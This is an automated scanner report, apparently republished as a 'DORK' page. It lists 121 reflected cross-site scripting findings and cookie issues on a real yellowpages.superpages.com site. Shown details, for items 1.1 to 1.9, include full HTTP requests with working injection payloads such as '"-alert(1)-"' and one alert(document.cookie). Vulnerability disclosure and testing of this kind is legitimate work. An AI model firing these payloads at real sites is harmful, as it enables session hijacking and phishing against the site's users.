yellowpages.superpages.com, XSS, Cross Site Scripting, DORK

DORK, XSS in yellowpages.superpages.com | Vulnerability Crawler Report

Report generated by CloudScan Vulnerability Crawler at Fri Feb 04 12:54:43 CST 2011.



DORK CWE-79 XSS Report

Loading

1. Cross-site scripting (reflected)

1.1. http://yellowpages.superpages.com/busprofile/css/busprofile.css [REST URL parameter 1]

1.2. http://yellowpages.superpages.com/busprofile/css/busprofile.css [REST URL parameter 2]

1.3. http://yellowpages.superpages.com/busprofile/css/busprofile.css [REST URL parameter 3]

1.4. http://yellowpages.superpages.com/busprofile/css/print.css [REST URL parameter 1]

1.5. http://yellowpages.superpages.com/busprofile/css/print.css [REST URL parameter 2]

1.6. http://yellowpages.superpages.com/busprofile/css/print.css [REST URL parameter 3]

1.7. http://yellowpages.superpages.com/busprofile/js/busprofile.js [REST URL parameter 1]

1.8. http://yellowpages.superpages.com/busprofile/js/busprofile.js [REST URL parameter 2]

1.9. http://yellowpages.superpages.com/busprofile/js/busprofile.js [REST URL parameter 3]

1.10. http://yellowpages.superpages.com/busprofile/js/csiframe.js [REST URL parameter 1]

1.11. http://yellowpages.superpages.com/busprofile/js/csiframe.js [REST URL parameter 2]

1.12. http://yellowpages.superpages.com/busprofile/js/csiframe.js [REST URL parameter 3]

1.13. http://yellowpages.superpages.com/busprofile/js/hide.js [REST URL parameter 1]

1.14. http://yellowpages.superpages.com/busprofile/js/hide.js [REST URL parameter 2]

1.15. http://yellowpages.superpages.com/busprofile/js/hide.js [REST URL parameter 3]

1.16. http://yellowpages.superpages.com/busprofile/js/photos.js [REST URL parameter 1]

1.17. http://yellowpages.superpages.com/busprofile/js/photos.js [REST URL parameter 2]

1.18. http://yellowpages.superpages.com/busprofile/js/photos.js [REST URL parameter 3]

1.19. http://yellowpages.superpages.com/busprofile/script.more.js [REST URL parameter 1]

1.20. http://yellowpages.superpages.com/busprofile/script.more.js [REST URL parameter 2]

1.21. http://yellowpages.superpages.com/common/css/forms.css [REST URL parameter 1]

1.22. http://yellowpages.superpages.com/common/css/forms.css [REST URL parameter 2]

1.23. http://yellowpages.superpages.com/common/css/forms.css [REST URL parameter 3]

1.24. http://yellowpages.superpages.com/common/css/print.css [REST URL parameter 1]

1.25. http://yellowpages.superpages.com/common/css/print.css [REST URL parameter 2]

1.26. http://yellowpages.superpages.com/common/css/print.css [REST URL parameter 3]

1.27. http://yellowpages.superpages.com/common/css/reset.css [REST URL parameter 1]

1.28. http://yellowpages.superpages.com/common/css/reset.css [REST URL parameter 2]

1.29. http://yellowpages.superpages.com/common/css/reset.css [REST URL parameter 3]

1.30. http://yellowpages.superpages.com/common/css/sendtom.css [REST URL parameter 1]

1.31. http://yellowpages.superpages.com/common/css/sendtom.css [REST URL parameter 2]

1.32. http://yellowpages.superpages.com/common/css/sendtom.css [REST URL parameter 3]

1.33. http://yellowpages.superpages.com/common/css/spcore.css [REST URL parameter 1]

1.34. http://yellowpages.superpages.com/common/css/spcore.css [REST URL parameter 2]

1.35. http://yellowpages.superpages.com/common/css/spcore.css [REST URL parameter 3]

1.36. http://yellowpages.superpages.com/common/css/spflyouts.1.0.css [REST URL parameter 1]

1.37. http://yellowpages.superpages.com/common/css/spflyouts.1.0.css [REST URL parameter 2]

1.38. http://yellowpages.superpages.com/common/css/spflyouts.1.0.css [REST URL parameter 3]

1.39. http://yellowpages.superpages.com/common/css/sppromoads.css [REST URL parameter 1]

1.40. http://yellowpages.superpages.com/common/css/sppromoads.css [REST URL parameter 2]

1.41. http://yellowpages.superpages.com/common/css/sppromoads.css [REST URL parameter 3]

1.42. http://yellowpages.superpages.com/common/css/structure.css [REST URL parameter 1]

1.43. http://yellowpages.superpages.com/common/css/structure.css [REST URL parameter 2]

1.44. http://yellowpages.superpages.com/common/css/structure.css [REST URL parameter 3]

1.45. http://yellowpages.superpages.com/common/css/styles.css [REST URL parameter 1]

1.46. http://yellowpages.superpages.com/common/css/styles.css [REST URL parameter 2]

1.47. http://yellowpages.superpages.com/common/css/styles.css [REST URL parameter 3]

1.48. http://yellowpages.superpages.com/common/css/typography.css [REST URL parameter 1]

1.49. http://yellowpages.superpages.com/common/css/typography.css [REST URL parameter 2]

1.50. http://yellowpages.superpages.com/common/css/typography.css [REST URL parameter 3]

1.51. http://yellowpages.superpages.com/common/js/alertcommon.js [REST URL parameter 1]

1.52. http://yellowpages.superpages.com/common/js/alertcommon.js [REST URL parameter 2]

1.53. http://yellowpages.superpages.com/common/js/alertcommon.js [REST URL parameter 3]

1.54. http://yellowpages.superpages.com/common/js/browser_check.js [REST URL parameter 1]

1.55. http://yellowpages.superpages.com/common/js/browser_check.js [REST URL parameter 2]

1.56. http://yellowpages.superpages.com/common/js/browser_check.js [REST URL parameter 3]

1.57. http://yellowpages.superpages.com/common/js/iepopup.js [REST URL parameter 1]

1.58. http://yellowpages.superpages.com/common/js/iepopup.js [REST URL parameter 2]

1.59. http://yellowpages.superpages.com/common/js/iepopup.js [REST URL parameter 3]

1.60. http://yellowpages.superpages.com/common/js/jquery-1.4.2.min.js [REST URL parameter 1]

1.61. http://yellowpages.superpages.com/common/js/jquery-1.4.2.min.js [REST URL parameter 2]

1.62. http://yellowpages.superpages.com/common/js/jquery-1.4.2.min.js [REST URL parameter 3]

1.63. http://yellowpages.superpages.com/common/js/jquery-plugins.js [REST URL parameter 1]

1.64. http://yellowpages.superpages.com/common/js/jquery-plugins.js [REST URL parameter 2]

1.65. http://yellowpages.superpages.com/common/js/jquery-plugins.js [REST URL parameter 3]

1.66. http://yellowpages.superpages.com/common/js/jquery.history_remote.js [REST URL parameter 1]

1.67. http://yellowpages.superpages.com/common/js/jquery.history_remote.js [REST URL parameter 2]

1.68. http://yellowpages.superpages.com/common/js/jquery.history_remote.js [REST URL parameter 3]

1.69. http://yellowpages.superpages.com/common/js/jquery.sptabs.js [REST URL parameter 1]

1.70. http://yellowpages.superpages.com/common/js/jquery.sptabs.js [REST URL parameter 2]

1.71. http://yellowpages.superpages.com/common/js/jquery.sptabs.js [REST URL parameter 3]

1.72. http://yellowpages.superpages.com/common/js/omniture_onclick.js [REST URL parameter 1]

1.73. http://yellowpages.superpages.com/common/js/omniture_onclick.js [REST URL parameter 2]

1.74. http://yellowpages.superpages.com/common/js/omniture_onclick.js [REST URL parameter 3]

1.75. http://yellowpages.superpages.com/common/js/recently_viewed.js [REST URL parameter 1]

1.76. http://yellowpages.superpages.com/common/js/recently_viewed.js [REST URL parameter 2]

1.77. http://yellowpages.superpages.com/common/js/recently_viewed.js [REST URL parameter 3]

1.78. http://yellowpages.superpages.com/common/js/s_code.js [REST URL parameter 1]

1.79. http://yellowpages.superpages.com/common/js/s_code.js [REST URL parameter 2]

1.80. http://yellowpages.superpages.com/common/js/s_code.js [REST URL parameter 3]

1.81. http://yellowpages.superpages.com/common/js/sendtom.js [REST URL parameter 1]

1.82. http://yellowpages.superpages.com/common/js/sendtom.js [REST URL parameter 2]

1.83. http://yellowpages.superpages.com/common/js/sendtom.js [REST URL parameter 3]

1.84. http://yellowpages.superpages.com/common/js/spflyouts.1.0.js [REST URL parameter 1]

1.85. http://yellowpages.superpages.com/common/js/spflyouts.1.0.js [REST URL parameter 2]

1.86. http://yellowpages.superpages.com/common/js/spflyouts.1.0.js [REST URL parameter 3]

1.87. http://yellowpages.superpages.com/common/js/swfobject.js [REST URL parameter 1]

1.88. http://yellowpages.superpages.com/common/js/swfobject.js [REST URL parameter 2]

1.89. http://yellowpages.superpages.com/common/js/swfobject.js [REST URL parameter 3]

1.90. http://yellowpages.superpages.com/common/js/widget.js [REST URL parameter 1]

1.91. http://yellowpages.superpages.com/common/js/widget.js [REST URL parameter 2]

1.92. http://yellowpages.superpages.com/common/js/widget.js [REST URL parameter 3]

1.93. http://yellowpages.superpages.com/common/shared.js [REST URL parameter 1]

1.94. http://yellowpages.superpages.com/common/shared.js [REST URL parameter 2]

1.95. http://yellowpages.superpages.com/listings.jsp [C parameter]

1.96. http://yellowpages.superpages.com/listings.jsp [C parameter]

1.97. http://yellowpages.superpages.com/listings.jsp [REST URL parameter 1]

1.98. http://yellowpages.superpages.com/listings.jsp [name of an arbitrarily supplied request parameter]

1.99. http://yellowpages.superpages.com/mapbasedsearch/mapsearch.jsp [REST URL parameter 1]

1.100. http://yellowpages.superpages.com/mapbasedsearch/mapsearch.jsp [REST URL parameter 2]

1.101. http://yellowpages.superpages.com/profile.jsp [LID%3D parameter]

1.102. http://yellowpages.superpages.com/profile.jsp [REST URL parameter 1]

1.103. http://yellowpages.superpages.com/profile.jsp [name of an arbitrarily supplied request parameter]

1.104. http://yellowpages.superpages.com/profiler/abook.jsp [REST URL parameter 1]

1.105. http://yellowpages.superpages.com/profiler/abook.jsp [REST URL parameter 2]

1.106. http://yellowpages.superpages.com/profiler/abook.jsp [couponsLoc parameter]

1.107. http://yellowpages.superpages.com/profiler/abook.jsp [requestAction parameter]

1.108. http://yellowpages.superpages.com/reviews/js/ajaxreviews.js [REST URL parameter 1]

1.109. http://yellowpages.superpages.com/reviews/js/ajaxreviews.js [REST URL parameter 2]

1.110. http://yellowpages.superpages.com/reviews/js/ajaxreviews.js [REST URL parameter 3]

1.111. http://yellowpages.superpages.com/reviews/js/logclick.js [REST URL parameter 1]

1.112. http://yellowpages.superpages.com/reviews/js/logclick.js [REST URL parameter 2]

1.113. http://yellowpages.superpages.com/reviews/js/logclick.js [REST URL parameter 3]

1.114. http://yellowpages.superpages.com/se/compositepage.css [REST URL parameter 1]

1.115. http://yellowpages.superpages.com/se/compositepage.css [REST URL parameter 2]

1.116. http://yellowpages.superpages.com/yp/js/addList.js [REST URL parameter 1]

1.117. http://yellowpages.superpages.com/yp/js/addList.js [REST URL parameter 2]

1.118. http://yellowpages.superpages.com/yp/js/addList.js [REST URL parameter 3]

1.119. http://yellowpages.superpages.com/yp/js/showHide.js [REST URL parameter 1]

1.120. http://yellowpages.superpages.com/yp/js/showHide.js [REST URL parameter 2]

1.121. http://yellowpages.superpages.com/yp/js/showHide.js [REST URL parameter 3]

2. Cookie without HttpOnly flag set

2.1. http://yellowpages.superpages.com/listings.jsp

2.2. http://yellowpages.superpages.com/mapbasedsearch/mapsearch.jsp

2.3. http://yellowpages.superpages.com/profile.jsp

2.4. http://yellowpages.superpages.com/profiler/abook.jsp

3. Cookie scoped to parent domain

4. Cross-domain Referer leakage

4.1. http://yellowpages.superpages.com/listings.jsp

4.2. http://yellowpages.superpages.com/profile.jsp

4.3. http://yellowpages.superpages.com/profiler/abook.jsp

5. Cross-domain script include

5.1. http://yellowpages.superpages.com/common/js/jquery-1.4.2.min.js4c940%22-alert(document.cookie)-%228d600cbb5e6

5.2. http://yellowpages.superpages.com/listings.jsp

5.3. http://yellowpages.superpages.com/profile.jsp

5.4. http://yellowpages.superpages.com/profiler/abook.jsp

6. Email addresses disclosed

6.1. http://yellowpages.superpages.com/common/js/jquery-plugins.js

6.2. http://yellowpages.superpages.com/common/js/jquery.history_remote.js

6.3. http://yellowpages.superpages.com/listings.jsp

6.4. http://yellowpages.superpages.com/profile.jsp

6.5. http://yellowpages.superpages.com/profiler/abook.jsp

7. Robots.txt file



1. Cross-site scripting (reflected)  next
There are 121 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://yellowpages.superpages.com/busprofile/css/busprofile.css [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/css/busprofile.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 87daf"-alert(1)-"1a7bb763e07 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile87daf"-alert(1)-"1a7bb763e07/css/busprofile.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile87daf"-alert(1)-"1a7bb763e07/css/busprofile.css
Server: Unspecified
Set-Cookie: JSESSIONID=B99972F11C8DCBE31C71CEA0725DF8FE; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:56 GMT
Cache-Control: private
Content-Length: 36097


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile87daf"-alert(1)-"1a7bb763e07/css/busprofile.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.2. http://yellowpages.superpages.com/busprofile/css/busprofile.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/css/busprofile.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6d043"-alert(1)-"ea78a66d4f3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile/css6d043"-alert(1)-"ea78a66d4f3/busprofile.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile/css6d043&quot;-alert(1)-&quot;ea78a66d4f3/busprofile.css
Server: Unspecified
Set-Cookie: JSESSIONID=D39CC0F55EE6FF1DCB0F7AE681BEEEFC; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:04 GMT
Cache-Control: private
Content-Length: 36097


                       <!--
       
       -->


                                   
...[SNIP]...
ttp://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile/css6d043"-alert(1)-"ea78a66d4f3/busprofile.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.3. http://yellowpages.superpages.com/busprofile/css/busprofile.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/css/busprofile.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14dd6"-alert(1)-"584c21ff5a6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile/css/busprofile.css14dd6"-alert(1)-"584c21ff5a6 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile/css/busprofile.css14dd6&quot;-alert(1)-&quot;584c21ff5a6
Server: Unspecified
Set-Cookie: JSESSIONID=A0B8DA0925D4013D343773E12EB6B2B9; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:12 GMT
Cache-Control: private
Content-Length: 36097


                       <!--
       
       -->


                                   
...[SNIP]...
es.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile/css/busprofile.css14dd6"-alert(1)-"584c21ff5a6?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.4. http://yellowpages.superpages.com/busprofile/css/print.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/css/print.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 46554"-alert(1)-"be25698ff9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile46554"-alert(1)-"be25698ff9/css/print.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile46554&quot;-alert(1)-&quot;be25698ff9/css/print.css
Server: Unspecified
Set-Cookie: JSESSIONID=C43C42A2F651864B58C61C05BB832B63; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:58 GMT
Cache-Control: private
Content-Length: 36085


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile46554"-alert(1)-"be25698ff9/css/print.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.5. http://yellowpages.superpages.com/busprofile/css/print.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/css/print.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b6866"-alert(1)-"0f304c70d9e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile/cssb6866"-alert(1)-"0f304c70d9e/print.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile/cssb6866&quot;-alert(1)-&quot;0f304c70d9e/print.css
Server: Unspecified
Set-Cookie: JSESSIONID=C18D83DEE8E4FAD1642CFA1B00191576; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:06 GMT
Cache-Control: private
Content-Length: 36087


                       <!--
       
       -->


                                   
...[SNIP]...
ttp://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile/cssb6866"-alert(1)-"0f304c70d9e/print.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.6. http://yellowpages.superpages.com/busprofile/css/print.css [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/css/print.css

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ff3b0"-alert(1)-"0f9464b5bb7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile/css/print.cssff3b0"-alert(1)-"0f9464b5bb7 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile/css/print.cssff3b0&quot;-alert(1)-&quot;0f9464b5bb7
Server: Unspecified
Set-Cookie: JSESSIONID=EB0CD557543B7B79EFDB0A2D65AFDA04; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:14 GMT
Cache-Control: private
Content-Length: 36087


                       <!--
       
       -->


                                   
...[SNIP]...
owpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile/css/print.cssff3b0"-alert(1)-"0f9464b5bb7?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.7. http://yellowpages.superpages.com/busprofile/js/busprofile.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/js/busprofile.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 49cd4"-alert(1)-"96eceb6ffe4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile49cd4"-alert(1)-"96eceb6ffe4/js/busprofile.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile49cd4&quot;-alert(1)-&quot;96eceb6ffe4/js/busprofile.js
Server: Unspecified
Set-Cookie: JSESSIONID=E1DEBECF6D55BEE5047D715F190E5E85; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:11 GMT
Cache-Control: private
Content-Length: 36093


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile49cd4"-alert(1)-"96eceb6ffe4/js/busprofile.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.8. http://yellowpages.superpages.com/busprofile/js/busprofile.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /busprofile/js/busprofile.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b019f"-alert(1)-"5e23dbe0df5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /busprofile/jsb019f"-alert(1)-"5e23dbe0df5/busprofile.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /busprofile/jsb019f&quot;-alert(1)-&quot;5e23dbe0df5/busprofile.js
Server: Unspecified
Set-Cookie: JSESSIONID=91DA6ED19F90F3B9CFE832FC9D00294D; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:20 GMT
Cache-Control: private
Content-Length: 36093


                       <!--
       
       -->


                                   
...[SNIP]...
http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/busprofile/jsb019f"-alert(1)-"5e23dbe0df5/busprofile.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.9. http://yellowpages.superpages.com/busprofile/js/busprofile.js [REST URL parameter 3]  previous  next

Summary

